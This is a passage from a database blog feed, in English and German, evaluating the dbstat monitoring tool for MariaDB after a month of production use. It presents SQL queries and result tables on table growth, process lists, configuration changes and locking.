+---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+ | connection_id | ts | user | host | table_schema | table_name | state | SUBSTR(REGEXP_REPLACE(REPLACE(query, "\n", ' '), '\ +', ' '), 1, 64) | +---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+ | 18 | 2024-04-23 14:16:47 | zabbix | localhost:51252 | zabbix | triggers | Writing to net | select triggerid,description,expression,error,priority,type,valu | | 1325025 | 2024-04-23 16:01:47 | zabbix | localhost:50150 | | | init for update | delete from history_text where itemid=85477 and clock<1678167661 | | 1325025 | 2024-04-23 16:01:47 | zabbix | localhost:50150 | zabbix | history_text | init for update | delete from history_text where itemid=85477 and clock<1678167661 | | 1365229 | 2024-04-24 02:13:47 | root | localhost:38096 | dbstat | global_status | Writing to net | SELECT /*!40001 SQL_NO_CACHE */ `machine_name`, `variable_name`, | | 18 | 2024-04-24 03:10:47 | zabbix | localhost:51252 | zabbix | item_tag | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 1368524 | 2024-04-24 04:41:47 | zabbix | localhost:38112 | | | | NULL | | 1368524 | 2024-04-24 04:41:47 | zabbix | localhost:38112 | zabbix | history_uint | | NULL | | 18 | 2024-04-24 05:46:47 | zabbix | localhost:51252 | zabbix | item_tag | Sending data | select itemtagid,itemid,tag,value from item_tag | +---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+

We have not found any InnoDB locks in the last 24 hours for 7 days in a row.

It would be interesting to see a system where more is happening...

Global status

If a normal database monitoring such as the FromDual Performance Monitor for MariaDB and MySQL (fpmmm) with Zabbix is used, this feature is not absolutely necessary. However, most of our customers do not have any useful monitoring in use. Therefore, this feature would be very useful for post-mortem analyses...

For example InnoDB Row Lock Waits, minute-granular over the last 30 days (analogue to sar from sysstat):

Here you can see that the database was restarted on 10 April between 08:37 and 08:41. You could also find this out in another way, but unfortunately this is often not possible for various reasons (error log rotated away, etc.).

The trend break around 2 April is also interesting. At this time we were experimenting with parallel replication. It should not have been a failover (see GLOBAL VARIABLES, above).

Although parallel replication was later deactivated again, there were more locks. A similar situation around the 16th/17th of April, here too we played around with parallel replication, which seems to have had an effect on the locking behaviour.

Even with this feature, there are many ways to analyse the database. Unfortunately, our database is relatively boring: Mainly monotonous traffic (which is plentiful due to the monitoring) and very little exceptional traffic.

Remark: This text has been translated with the assistance of DeepL.

Taxonomy upgrade extras: performance monitoring performance monitoring metadata lock locking performance_schema

Categories: FromDual all (en), FromDual TechFeed (en), MySQL Tech-Feed (en)

dbstat für MariaDB nach einem Monat produktiver Nutzung

Oli Sennhauser - Thu, 2024-04-25 12:39

Inhaltsverzeichnis

Rückblick
Einen Monat später
Grösse der Tabellen
Prozessliste
Globale Variablen
Metadata Lock und InnoDB Transaction Lock
Globaler Status

Rückblick

Nachdem wir vor gut 5 Wochen dbstat für MariaDB (und MySQL) vorgestellt haben, haben wir es natürlich auch auf unseren Systemen ausgerollt um das Verhalten im täglichen Einsatz zu testen (eat your own dog food).

Das ging soweit ganz gut, bis wir auf unserem MariaDB aktiv/passiv Master/Master Replikationscluster auf die Idee kamen, dbstat auch auf dem passiven dbstat Node zu aktivieren (eine ähnliche Situation hätte man auch bei einem Galera Cluster). Dabei stellten wir fest, dass das Design von dbstat noch Potential hatte. Nachdem dieses Problem behoben war (v0.0.2 und v0.0.3) und auch das Problem gelöst war, wie man Events auf Master UND Slave aktivieren kann (MDEV-33782: Event is always disabled on slave), schien auf den ersten Blick alles in Ordnung. Leider haben wir bei der Korrektur nicht bedacht, dass auch die Daten hätten angepasst werden müssen. Dies hatte zur Folge, dass unsere Replikation über die Osterfeiertage zum Stillstand kam, was dann beim Aufholen zu einem weiteren Problem führte (MDEV-33923: MariaDB parallel replication causes Foreign Key errors).

Nachdem auch dieser kleine Zwischenfall behoben war lief dbstat auf unserem Master/Master Replikationscluster seitdem einwandfrei... Das Produkt dbstat ist Open Source (GPLv2) und kann von GitHub heruntergeladen werden.

Einen Monat später

Datenbanken sollten NICHT mit der Zeit wachsen sondern nur mit der Anzahl {Kunden, Produkte, etc.}, sobald das gewünschte Gleichgewicht (steady state) erreicht ist. In unserer dbstat-Installation haben wir diesen Wert auf 30 Tage gesetzt. Es wird also langsam an der Zeit, dass sich die Grösse von dbstat stabilisiert und nicht weiter wächst...

Ausserdem wäre es spannend zu verstehen, welchen praktischen Nutzen dbstat hat. Deshalb haben wir uns jetzt an die Arbeit gemacht und versuchen, die Ergebnisse von dbstat auszuwerten.

Hier zunächst noch einmal ein Überblick über die 11 laufenden Events:

Zunächst ist das Wachstum von dbstat selbst interessant. Aber natürlich kann diese Auswertung auch für jede andere Datenbank, Tabelle oder Catalog (kommt in MariaDB 11.7?) durchgeführt werden:

SQL> SET SESSION sql_mode='STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION,only_full_group_by'; SQL> SET @machine_name = @@hostname; SQL> SELECT `table_schema`, SUBSTR(`ts`, 1, 10) AS date , ROUND(SUM(`data_length`)/1024/1024, 1) AS data_mb , ROUND(SUM(`index_length`)/1024/1024, 1) AS index_mb , ROUND(SUM(`data_free`)/1024/1024, 1) AS free_mb , ROUND((SUM(`data_length`) + SUM(`index_length`) + SUM(`data_free`))/1024/1024, 1) AS total_mb , ROUND(SUM(`table_rows`)/1000/1000, 1) AS rows_m FROM `table_size` WHERE `machine_name` = @machine_name AND `table_catalog` = 'def' AND `table_schema` = 'dbstat' GROUP BY `table_catalog`, `table_schema`, `date` ORDER BY `table_catalog`, `table_schema`, `date` ASC ; +--------------+------------+---------+----------+---------+----------+--------+ | table_schema | date | data_mb | index_mb | free_mb | total_mb | rows_m | +--------------+------------+---------+----------+---------+----------+--------+ | dbstat | 2024-03-26 | 762.8 | 1128.6 | 18.0 | 1909.4 | 10.9 | | dbstat | 2024-03-27 | 835.8 | 1241.6 | 17.0 | 2094.4 | 11.1 | | dbstat | 2024-03-28 | 837.8 | 1241.6 | 14.0 | 2093.4 | 11.8 | | dbstat | 2024-03-29 | 960.7 | 1443.6 | 18.0 | 2422.4 | 14.2 | | dbstat | 2024-03-30 | 960.7 | 1443.6 | 17.0 | 2421.4 | 15.0 | | dbstat | 2024-03-31 | 1057.7 | 1604.6 | 20.0 | 2682.4 | 16.9 | | dbstat | 2024-04-01 | 1057.7 | 1602.6 | 21.0 | 2681.4 | 17.6 | | dbstat | 2024-04-02 | 1172.7 | 1797.6 | 22.0 | 2992.3 | 17.8 | | dbstat | 2024-04-03 | 1442.8 | 2333.7 | 12.0 | 3788.5 | 22.8 | | dbstat | 2024-04-04 | 1649.8 | 2723.7 | 13.0 | 4386.5 | 24.4 | | dbstat | 2024-04-05 | 1649.8 | 2722.7 | 14.0 | 4386.5 | 26.0 | | dbstat | 2024-04-06 | 1821.8 | 3034.8 | 13.0 | 4869.6 | 24.6 | | dbstat | 2024-04-07 | 1821.8 | 3034.8 | 14.0 | 4870.6 | 26.2 | | dbstat | 2024-04-08 | 1989.9 | 3344.8 | 12.0 | 5346.6 | 29.9 | | dbstat | 2024-04-09 | 1990.9 | 3343.8 | 14.0 | 5348.6 | 31.5 | | dbstat | 2024-04-10 | 2193.9 | 3712.8 | 13.0 | 5919.7 | 31.6 | | dbstat | 2024-04-11 | 2193.9 | 3712.8 | 15.0 | 5921.7 | 31.1 | | dbstat | 2024-04-12 | 2405.8 | 4119.1 | 12.0 | 6537.0 | 34.9 | | dbstat | 2024-04-13 | 2405.8 | 4119.1 | 14.0 | 6538.9 | 35.7 | | dbstat | 2024-04-14 | 2480.8 | 4278.9 | 15.0 | 6774.8 | 36.2 | | dbstat | 2024-04-15 | 2560.8 | 4443.7 | 12.0 | 7016.5 | 37.5 | | dbstat | 2024-04-16 | 2560.8 | 4443.7 | 12.0 | 7016.5 | 38.2 | | dbstat | 2024-04-17 | 2640.8 | 4610.6 | 18.0 | 7269.4 | 38.5 | | dbstat | 2024-04-18 | 2640.9 | 4611.6 | 14.0 | 7266.5 | 39.7 | | dbstat | 2024-04-19 | 2743.9 | 4826.5 | 14.0 | 7584.3 | 36.9 | | dbstat | 2024-04-20 | 2826.9 | 4995.5 | 14.0 | 7836.4 | 38.3 | | dbstat | 2024-04-21 | 2830.9 | 4997.4 | 18.0 | 7846.3 | 39.2 | | dbstat | 2024-04-22 | 2919.9 | 5177.4 | 14.0 | 8111.3 | 43.2 | | dbstat | 2024-04-23 | 2923.0 | 5177.3 | 16.0 | 8116.3 | 44.1 | | dbstat | 2024-04-24 | 3020.0 | 5376.3 | 16.0 | 8412.3 | 41.0 | | dbstat | 2024-04-25 | 3024.0 | 5377.3 | 17.0 | 8418.3 | 40.9 | +--------------+------------+---------+----------+---------+----------+--------+

Nimmt man zum Vergleich den Plattenplatz im O/S:

# du -shc *.ibd 8.6G global_status.ibd 308K global_variables.ibd 692K metadata_lock.ibd 97M processlist.ibd 18M table_size.ibd 212K trx_and_lck.ibd 8.7G total

sieht man, dass die Werte aus der Datenbank in etwa stimmen (5% Fehler)...

Wichtig: Die Datenbank dbstat erreicht nach ca. einem Monat eine Grösse von ca. 9 Gbyte auf einem nicht besonders grossen Datenbanksystem.

Man sieht auch, dass sich die Grösse der Datenbank gerade erst stabilisiert.

Wenn man genauer wissen will, welche Tabellen für welchen Teil des Datenvolumens verantwortlich sind, kann man auch in die Daten hineinzoomen bzw. hineindrillen (drill down):

SQL> SELECT `table_name`, SUBSTR(`ts`, 1, 10) AS date , ROUND(`data_length`/1024/1024, 1) AS data_mb , ROUND(`index_length`/1024/1024, 1) AS index_mb , ROUND(`data_free`/1024/1024, 1) AS free_mb , ROUND((`data_length` + `index_length` + `data_free`)/1024/1024, 1) AS total_mb , ROUND((`data_length` + `index_length` + `data_free`)/1024/1024/8418.26*100, 1) AS pct , ROUND(`table_rows`/1000/1000, 1) AS rows_m FROM `table_size` WHERE `machine_name` = @machine_name AND `table_catalog` = 'def' AND `table_schema` = 'dbstat' AND SUBSTR(`ts`, 1, 10) = CURRENT_DATE() ORDER BY rows_m DESC ; +------------------+------------+---------+----------+---------+----------+------+--------+ | table_name | date | data_mb | index_mb | free_mb | total_mb | pct | rows_m | +------------------+------------+---------+----------+---------+----------+------+--------+ | global_status | 2024-04-25 | 2949.9 | 5356.9 | 5.0 | 8311.8 | 98.7 | 40.4 | | processlist | 2024-04-25 | 68.2 | 17.1 | 7.0 | 92.2 | 1.1 | 0.4 | | global_variables | 2024-04-25 | 0.1 | 0.1 | 0.0 | 0.2 | 0.0 | 0.0 | | metadata_lock | 2024-04-25 | 0.4 | 0.2 | 0.0 | 0.6 | 0.0 | 0.0 | | table_size | 2024-04-25 | 5.4 | 3.1 | 5.0 | 13.5 | 0.2 | 0.0 | | trx_and_lck | 2024-04-25 | 0.0 | 0.0 | 0.0 | 0.0 | 0.0 | 0.0 | +------------------+------------+---------+----------+---------+----------+------+--------+

Anmerkung: Bitte entschuldigen Sie die Nichverwendung der Window-Funktion!

Der einzige wirkliche Treiber für die Datenmenge auf diesem System ist die Tabelle global_status. Dies ist auch zu erwarten (siehe Mengengerüst von dbstat).

SQL> SELECT SUBSTR(ts, 1, 10) AS date, table_rows/1000/1000 AS k_rows , ROUND(data_length/1024/1024, 1) AS data_mb, ROUND(index_length/1024/1024, 1) AS index_mb, ROUND(data_free/1024/1024, 1) AS free_mb , ROUND((data_length + index_length + data_free)/1024/1024, 1) AS total_mb FROM table_size WHERE `machine_name` = @machine_name AND `table_catalog` = 'def' AND `table_schema` = 'dbstat' AND table_name = 'global_status' AND ts > DATE_SUB(CURRENT_DATE, INTERVAL 10 DAY) ; +------------+-------------+---------+----------+---------+----------+ | date | k_rows | data_mb | index_mb | free_mb | total_mb | +------------+-------------+---------+----------+---------+----------+ | 2024-04-15 | 37.13876300 | 2512.9 | 4433.0 | 4.0 | 6949.9 | | 2024-04-16 | 37.94217200 | 2512.9 | 4433.0 | 4.0 | 6949.9 | + 0M | 2024-04-17 | 38.19867500 | 2592.9 | 4600.0 | 7.0 | 7199.9 | + 250M | 2024-04-18 | 39.39108500 | 2592.9 | 4600.0 | 5.0 | 7197.9 | - 2M | 2024-04-19 | 36.52539600 | 2691.9 | 4813.0 | 5.0 | 7509.8 | + 312M | 2024-04-20 | 37.99073500 | 2770.9 | 4980.9 | 6.0 | 7757.8 | + 248M | 2024-04-21 | 38.79420200 | 2770.9 | 4980.9 | 7.0 | 7758.8 | + 1M | 2024-04-22 | 42.82606200 | 2855.9 | 5158.9 | 6.0 | 8020.8 | + 263M | 2024-04-23 | 43.62953000 | 2855.9 | 5158.9 | 7.0 | 8021.8 | + 1M | 2024-04-24 | 40.54342200 | 2949.9 | 5356.9 | 7.0 | 8313.8 | + 292M | 2024-04-25 | 40.43067700 | 2949.9 | 5356.9 | 5.0 | 8311.8 | - 2M +------------+-------------+---------+----------+---------+----------+

Anmerkung: Sorry, ich sollte mich wirklich mit den Window-Funktionen vertraut machen...

Wenn wir die Daten etwas genauer analysieren, sehen wir, dass sich die Anzahl der Rows in den letzten 4 Tagen langsam stabilisiert hat (Achtung: table_rows wird berechnet (aus der Anzahl der Blöcke und der durchschnittlichen Zeilenlänge?) und ist kein exakter Wert), aber die "Datenmenge" hat bis gestern weiter zugenommen, was wahrscheinlich auf das "Zerfleddern" der Tabellen und Indizes zurückzuführen ist...

Der Primärschlüssel der Tabelle global_status wurde gewählt, um die Lokalisierung der Daten zu optimieren:

PRIMARY KEY (`machine_name`,`variable_name`,`ts`),

Die Lage sollte sich in den nächsten Tagen beruhigen. In 2 bis 4 Wochen müssen wir die Lage erneut prüfen.

Zusammenfassung: Ich würde sagen, dass dieses Feature die Anforderungen erfüllt und hilft, das Datenwachstum zu verstehen.

Liste der Prozesse

Da wir keine ernsthaften Lastprobleme in unseren Datenbanken haben, ist diese Funktion in unserem Fall nicht so interessant. Wir können zum Beispiel sehen, was eine (persistente) Verbindung gemacht hat:

SQL> SELECT connection_id, ts, command, time, state, SUBSTR(REGEXP_REPLACE(REPLACE(query, "\n", ' '), '\ +', ' '), 1, 64) FROM processlist WHERE machine_name = @machine_name AND command != 'Sleep' AND connection_id = @connection_id AND state NOT IN ( 'Waiting for next activation' , 'Master has sent all binlog to slave; waiting for more updates' , 'Waiting for master to send event' , 'Slave has read all relay log; waiting for more updates' ) ORDER BY ts ASC ; +---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+ | connection_id | ts | command | time | state | SUBSTR(REGEXP_REPLACE(REPLACE(query, "\n", ' '), '\ +', ' '), 1, 64) | +---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+ | 18 | 2024-04-17 12:30:28 | Query | 0.029 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-17 14:58:28 | Query | 0.009 | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-18 06:24:28 | Query | 0.003 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-18 11:34:28 | Query | 0.030 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-18 16:39:28 | Query | 0.006 | Sending data | select itemid,functionid,name,parameter,triggerid from functions | | 18 | 2024-04-18 19:12:28 | Query | 0.014 | Sending data | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-18 21:49:28 | Query | 0.004 | Writing to net | select i.itemid,i.hostid,i.templateid from items i inner join ho | | 18 | 2024-04-19 00:21:28 | Query | 0.032 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-19 02:59:28 | Query | 0.017 | Writing to net | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-19 05:39:28 | Query | 0.052 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-19 08:19:28 | Query | 0.000 | Statistics | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-19 13:26:28 | Query | 0.075 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-19 15:57:28 | Query | 0.027 | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-19 18:33:28 | Query | 0.010 | Sending data | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-19 21:10:28 | Query | 0.008 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-19 23:50:28 | Query | 0.067 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 02:28:28 | Query | 0.008 | Sending data | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-20 05:08:28 | Query | 0.052 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 07:44:28 | Query | 0.123 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 10:21:28 | Query | 0.144 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 12:55:28 | Query | 0.004 | Sending data | select i.itemid,i.hostid,i.templateid from items i where i.flags | | 18 | 2024-04-20 15:35:28 | Query | 0.092 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 18:12:28 | Query | 0.041 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 20:47:28 | Query | 0.113 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 23:25:28 | Query | 0.101 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 02:03:28 | Query | 0.120 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 04:42:28 | Query | 0.099 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 07:18:28 | Query | 0.015 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 12:32:28 | Query | 0.018 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 15:06:28 | Query | 0.091 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 20:16:28 | Query | 0.012 | Sending data | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-22 06:44:28 | Query | 0.161 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 09:21:28 | Query | 0.000 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 11:54:28 | Query | 0.020 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 14:23:28 | Query | 0.067 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 16:59:28 | Query | 0.128 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 22:05:28 | Query | 0.078 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 00:38:28 | Query | 0.084 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 03:15:28 | Query | 0.098 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 05:52:28 | Query | 0.000 | starting | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 08:27:28 | Query | 0.011 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-23 10:58:28 | Query | 0.000 | Sending data | select i.itemid,i.hostid,i.templateid from items i inner join ho | | 18 | 2024-04-23 13:31:28 | Query | 0.110 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 16:01:28 | Query | 0.023 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 18:35:28 | Query | 0.095 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 21:10:28 | Query | 0.017 | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-23 23:44:28 | Query | 0.014 | Sending data | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-24 02:21:28 | Query | 0.024 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-24 07:33:28 | Query | 0.046 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | +---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+

Wichtig ist auch, dass wir in dieser Auswertung nur die Einträge sehen, wenn der Thread ETWAS gemacht hat (State Sleep haben wir ausgeblendet). Interessant ist auch, dass wir diese (persistente) Verbindung nicht vor dem 17. April sehen, aber ich habe im Moment KEINE Erklärung dafür aus operativer Sicht (Restart etc.). Wahrscheinlich muss die Anwendung (Zabbix) das erklären.

Globale Variablen

Interessant sind auch die Informationen in der Tabelle global_variables:

SQL> SELECT variable_name, ts, variable_value FROM global_variables WHERE machine_name = @machine_name AND variable_name IN ( SELECT variable_name FROM global_variables WHERE machine_name = @machine_name GROUP BY variable_name HAVING COUNT(*) > 1 ) ORDER BY ts, variable_name ; +---------------------------+---------------------+----------------+ | variable_name | ts | variable_value | +---------------------------+---------------------+----------------+ | auto_increment_increment | 2024-03-09 22:10:42 | 1 | | auto_increment_offset | 2024-03-09 22:10:42 | 1 | | read_only | 2024-03-09 22:10:42 | OFF | | slave_parallel_max_queued | 2024-03-09 22:10:42 | 131072 | | slave_parallel_threads | 2024-03-09 22:10:42 | 0 | | slave_parallel_workers | 2024-03-09 22:10:42 | 0 | | slave_skip_errors | 2024-03-09 22:10:42 | OFF | | system_time_zone | 2024-03-09 22:10:42 | CET | | read_only | 2024-03-27 09:42:50 | ON | | slave_skip_errors | 2024-03-27 12:33:13 | 1032 | | slave_skip_errors | 2024-03-27 12:35:13 | OFF | | slave_skip_errors | 2024-03-27 12:42:13 | 1032 | | slave_skip_errors | 2024-03-27 12:50:13 | OFF | | slave_parallel_threads | 2024-04-02 10:17:32 | 8 | | slave_parallel_workers | 2024-04-02 10:17:32 | 8 | | slave_parallel_max_queued | 2024-04-02 10:22:32 | 1048576 | | slave_parallel_max_queued | 2024-04-02 10:23:32 | 4194304 | | slave_parallel_max_queued | 2024-04-02 10:25:32 | 16777216 | | slave_parallel_threads | 2024-04-02 10:25:32 | 16 | | slave_parallel_workers | 2024-04-02 10:25:32 | 16 | | slave_parallel_threads | 2024-04-02 10:28:32 | 32 | | slave_parallel_workers | 2024-04-02 10:28:32 | 32 | | auto_increment_increment | 2024-04-02 10:39:32 | 2 | | auto_increment_offset | 2024-04-02 10:39:32 | 2 | | slave_parallel_max_queued | 2024-04-02 10:57:32 | 131072 | | slave_parallel_threads | 2024-04-02 10:57:32 | 0 | | slave_parallel_workers | 2024-04-02 10:57:32 | 0 | | system_time_zone | 2024-04-02 10:57:32 | CEST | | slave_parallel_max_queued | 2024-04-16 14:06:32 | 16777216 | | slave_parallel_threads | 2024-04-16 14:06:32 | 8 | | slave_parallel_workers | 2024-04-16 14:06:32 | 8 | | slave_parallel_max_queued | 2024-04-16 14:26:32 | 131072 | | slave_parallel_threads | 2024-04-16 14:26:32 | 0 | | slave_parallel_workers | 2024-04-16 14:26:32 | 0 | | slave_parallel_max_queued | 2024-04-17 09:03:32 | 16777216 | | slave_parallel_threads | 2024-04-17 09:03:32 | 16 | | slave_parallel_workers | 2024-04-17 09:03:32 | 16 | | slave_parallel_max_queued | 2024-04-24 08:26:32 | 131072 | | slave_parallel_threads | 2024-04-24 08:26:32 | 0 | | slave_parallel_workers | 2024-04-24 08:26:32 | 0 | | read_only | 2024-04-24 08:42:32 | OFF | +---------------------------+---------------------+----------------+

Hier sieht man sehr genau, wann und was an der Datenbank gemacht wurde:

Am 9. März wurde dbstat zum ersten Mal installiert.
Dann am 27. März (vor Ostern) scheint es dann Probleme mit der Replikation gegeben zu haben (hier wurde die neue Version von dbstat installiert, die das gleichzeitige Sammeln auf Master und Slave erlaubt. Dies führte zu Replikationsfehlern, die teilweise behoben wurden).
Am 2. April (nach Ostern) haben wir dann versucht, den Rückstand mit der parallelen Replikation aufzuholen. Man sieht auch, dass AUTO_INCREMENT_OFFSET und AUTO_INCREMENT_INCREMENT geändert wurden. Hier haben wir einen Fehler in der Datenbankkonfiguration korrigiert...
Ausserdem ist zu sehen, dass die Zeitzone von CET auf CEST geändert hat (Sommerzeit!) Warum erst am 2. April ist mir nicht ganz klar. (Vielleicht weil das über die Replikation gekommen ist?)
Dann haben wir am 16. und 17. April haben wir versucht einen "Bug" in der parallelen Replikation zu reproduzieren. Anscheinend haben wir den Wert nicht zurückgesetzt. Denn erst nach dem Neustart am 24. April (übliches zweiwöchentliches Wartungsfenster) wurde der Wert wieder zurückgesetzt.
Am 24. April sieht man auch, dass die Datenbank jetzt die Rolle des aktiven Masters übernommen hat (read_only = off). Es hat also ein Gracefull-Switchover stattgefunden...

Fazit: Ein sehr nützliches Feature um zu sehen, wann was geändert wurde. Obwohl ich alle diese Operationen genau verfolgt habe, bin ich doch erstaunt über die Aussagekraft dieses Features. Ich würde mir wünschen, dass es in allen Datenbanken installiert wird...

Metadata Lock und InnoDB Transaction Lock

Aufgrund des geringen Traffics auf unseren Datenbanken sehen wir hier leider nicht allzu viel Spannendes.

Hier sind die Metadata Locks, die wir in den den letzten 24 Stunden auf dem Master "erwischt" haben:

+---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+ | connection_id | ts | user | host | table_schema | table_name | state | SUBSTR(REGEXP_REPLACE(REPLACE(query, "\n", ' '), '\ +', ' '), 1, 64) | +---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+ | 18 | 2024-04-23 14:16:47 | zabbix | localhost:51252 | zabbix | triggers | Writing to net | select triggerid,description,expression,error,priority,type,valu | | 1325025 | 2024-04-23 16:01:47 | zabbix | localhost:50150 | | | init for update | delete from history_text where itemid=85477 and clock<1678167661 | | 1325025 | 2024-04-23 16:01:47 | zabbix | localhost:50150 | zabbix | history_text | init for update | delete from history_text where itemid=85477 and clock<1678167661 | | 1365229 | 2024-04-24 02:13:47 | root | localhost:38096 | dbstat | global_status | Writing to net | SELECT /*!40001 SQL_NO_CACHE */ `machine_name`, `variable_name`, | | 18 | 2024-04-24 03:10:47 | zabbix | localhost:51252 | zabbix | item_tag | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 1368524 | 2024-04-24 04:41:47 | zabbix | localhost:38112 | | | | NULL | | 1368524 | 2024-04-24 04:41:47 | zabbix | localhost:38112 | zabbix | history_uint | | NULL | | 18 | 2024-04-24 05:46:47 | zabbix | localhost:51252 | zabbix | item_tag | Sending data | select itemtagid,itemid,tag,value from item_tag | +---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+

InnoDB-Locks haben wir in den letzten 24 Stunden repektive 7 Tage keine gefunden.

Es wäre interessant, ein System zu sehen, auf dem mehr passiert...

Globaler Status

Wenn ein normales Datenbankmonitoring wie z.B. der FromDual Performance Monitor für MariaDB und MySQL (fpmmm) mit Zabbix verwendet wird, ist dieses Feature nicht unbedingt notwendig. Die meisten unserer Kunden haben jedoch kein brauchbares Monitoring im Einsatz. Daher wäre dieses Feature sehr nützlich für Post-Morten-Analysen...

Zum Beispiel InnoDB-Lock-Waits, minuten-granular über die letzten 30 Tage (analog zu sar aus sysstat):

Hier sieht man, dass die Datenbank am 10. April zwischen 08:37 und 08:41 neu gestartet wurde. Das könnte man zwar auch anders herausfinden, ist aber leider oft aus verschiedenen Gründen nicht möglich (Error Log wegrotiert, etc.).

Interessant ist auch der Trendbruch um den 2. April. Zu diesem Zeitpunkt haben wir mit der parallelen Replikation rumexperimentiert. Es sollte kein Failover gewesen sein (siehe GLOBAL VARIABLES, weiter oben).

Obwohl die parallele Replikation später wieder deaktiviert wurde, gab es mehr Locks. Eine ähnliche Situation um den 16./17. April auch hier haben wir mit der parallelen Replikation herumgespielt, was sich auf das Locking-Verhalten ausgewirkt zu haben scheint.

Auch mit diesem Feature gibt es viele Möglichkeiten die Datenbank zu untersuchen. Leider ist unsere Datenbank relativ langweilig: Hauptsächlich monotoner Traffic (der durch das Monitoring reichlich vorhanden ist) und aussergwöhnlicher Traffic in sehr geringem Umfang.

Anmerkung: Dieser Text wurde mit der Unterstützung von DeepL optimiert.

Taxonomy upgrade extras: performance monitoring performance monitoring metadata lock locking performance_schema

Categories: FromDual all (de), FromDual TechFeed (de)

dbstat nach einem Monat produktiver Nutzung

Oli Sennhauser - Thu, 2024-04-25 12:39

Inhaltsverzeichnis

Rückblick
Einen Monat später
Grösse der Tabellen
Prozessliste
Globale Variablen
Metadata Lock und InnoDB Transaction Lock
Globaler Status